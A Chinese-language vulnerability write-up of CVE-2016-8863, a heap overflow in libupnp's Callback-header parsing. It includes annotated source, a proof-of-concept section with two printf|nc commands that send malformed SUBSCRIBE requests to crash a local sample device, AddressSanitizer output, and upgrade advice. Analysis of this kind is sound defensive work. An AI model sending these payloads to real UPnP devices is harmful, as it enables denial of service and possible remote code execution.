CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc

1、libupnp问题分析：

（1）问题简述：

根据客户给出的报告，通过设备安装的libupnp软件版本来判断，存在缓冲区溢出漏洞：CVE-2016-8863。

（2）漏洞原理分析：

该漏洞发生在upnpSDK库中，upnp/src/gena/gena_device.c.文件的create_url_list函数中，由于对输入数据未进行有效检验，造成对缓冲区溢出，可以导致服务器拒绝服务或崩溃；攻击者也可以精心制造一个攻击URL，通过subscribe request的callback header来执行任意代码。

问题主要出现在下列这个for循环中，这个循环主要是解析订阅请求的Callback头里的URL列表，如果return_code == UPNP_E_OUTOF_MEMORY或者temp.hostport.text.size == 0，那么urlcount变量不会增加。

如果提供了2个URL，第一个被正确解析，第二个没有，此时URLcount会等于1并且跳出循环。

for( i = 0; i < URLS->size; i++ ) {
 
    if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {
 
        if( ( ( return_code = parse_uri( &URLS->buff[i + 1],
 
                                         URLS->size - i + 1,
 
                                         &temp ) ) == HTTP_SUCCESS )
 
            && ( temp.hostport.text.size != 0 ) ) {
 
            URLcount++;
 
        } else {
 
            if( return_code == UPNP_E_OUTOF_MEMORY ) {
 
                return return_code;
 
            }
 
        }
 
    }
 
}

下一段代码是溢出实际发生的地方。第一个条件为真是因为urlcount 1，接下来，分配一个缓冲区（out URL）来保存原始URI字符串的副本。然后，分配一个url_type类型的数组去存储每一个URL解析出来的具体内容。此时该数组的大小是1，因为urlcount=1；但是问题是for循环将会再次解析原始字符串，

这两个循环的唯一区别就是解析的URL存储在连续的索引中，而不是一个连续变量里。因此，当它解析第二个URI时，它将- > parsedURLs[1]的值传给parse_uri()函数，这是函数传递的一个数组结尾的地址。当parse_uri()填充该结构的值时，数组的地址就会被写入。

if( URLcount > 0 ) {
    out->URLs = malloc(URLS->size + 1);
 
    out->parsedURLs = malloc(sizeof(uri_type) * URLcount);
 
    // omitted for readability
 
    memcpy( out->URLs, URLS->buff, URLS->size );
 
    out->URLs[URLS->size] = 0;
 
    URLcount = 0;
 
    for( i = 0; i < URLS->size; i++ ) {
 
        if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {
 
            if( ( ( return_code =
 
                    parse_uri( &out->URLs[i + 1], URLS->size - i + 1,
 
                               &out->parsedURLs[URLcount] ) ) ==
 
                  HTTP_SUCCESS )
 
                && ( out->parsedURLs[URLcount].hostport.text.size !=
 
                     0 ) ) {
 
                URLcount++;
 
            } else {
 
                if( return_code == UPNP_E_OUTOF_MEMORY ) {
 
                    free( out->URLs );
 
                    free( out->parsedURLs );
 
                    out->URLs = NULL;
 
                    out->parsedURLs = NULL;
 
                    return return_code;
 
                }
 
            }
 
        }
 
    }
 
}

根据恶意URI的格式不同，会导致不同的问题。有时，overwrite没有明显的影响，有时它会使程序崩溃。至少，可以实现拒绝服务攻击，也可以将其用于远程代码执行。

（赵学鹏 2017.9.22）

（3）漏洞Poc脚本

First, compile for 32-bit with debugging enabled and an installation directory set. The reason for the setting the installation directory and compiling for 32-bits is so that “make install” results in a single binary that is easy to debug.

/configure --prefix=<install dir> --enable-debug --host=i686-linux-gnu CFLAGS="-m32 -fno-omit-frame-pointer" LDFLAGS=-m32
 
make clean;make install

To setup the default sample, which emulates a TV device, do the following from the libupnp directory:

cd upnp/sample
 
mkdir tvdevice
 
cp -r web tvdevice

To run the sample change to the directory you just created and run the binary:

cd tvdevice
 
../.libs/tv_device

With the sample running go to another terminal window. Enter the following to create a non-malicious subscription message:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153>\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

One form of a malicious message will crash the application is:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153><http://a:49153\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

Another is:

printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1\r\nHOST: 0.0.0.0:49152\r\nCALLBACK: <http://127.0.0.1:49153><//:49153\r\nNT: upnp:event\r\nTIMEOUT: Second-1801\r\n\r\n" | nc 127.0.0.1 49152

Below is the output of address sanitizer from either of the two requests above (add “-fsanitize=address” to CFLAGS during configure).

=================================================================
 
==13048== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xeef07710 at pc 0xf698b0c3 bp 0xf1463998 sp 0xf1463988
 
WRITE of size 4 at 0xeef07710 thread T8
 
    #0 0xf698b0c2 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x460c2)
 
    #1 0xf698cb13 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x47b13)
 
    #2 0xf6992e1c (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4de1c)
 
    #3 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)
 
    #4 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)
 
    #5 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)
 
    #6 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)
 
    #7 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)
 
    #8 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)
 
    #9 0xf69f13bc (/usr/lib/libasan.so.0.0.0+0xa3bc)
 
    #10 0xf68feb2b (/usr/lib/libpthread-2.17.so+0x6b2b)
 
    #11 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)
 
0xeef07710 is located 8 bytes to the right of 168-byte region [0xeef07660,0xeef07708)
 
allocated by thread T8 here:
 
    #0 0xf69fe45f (/usr/lib/libasan.so.0.0.0+0x1745f)
 
    #1 0xf69928da (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4d8da)
 
    #2 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)
 
    #3 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)
 
    #4 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)
 
    #5 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)
 
    #6 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)
 
    #7 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)
 
    #8 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)
 
Thread T8 created by T0 here:
 
    #0 0xf69f12ca (/usr/lib/libasan.so.0.0.0+0xa2ca)
 
    #1 0xf693be13 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5e13)
 
    #2 0xf693c882 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x6882)
 
    #3 0xf6967c74 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x22c74)
 
    #4 0xf69a2aee (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5daee)
 
    #5 0xf69a2d2d (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5dd2d)
 
    #6 0x804fc17 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x804fc17)
 
    #7 0x805056c (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x805056c)
 
    #8 0x8050631 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x8050631)
 
    #9 0xf6754942 (/usr/lib/libc-2.17.so+0x19942)

（4）漏洞修复

　　Libupnp官方升级日志中显示在Version 1.6.21中修复了此漏洞：

　　建议设备对libupnoSDK版本升级到1.6.21以上

http://pupnp.sourceforge.net/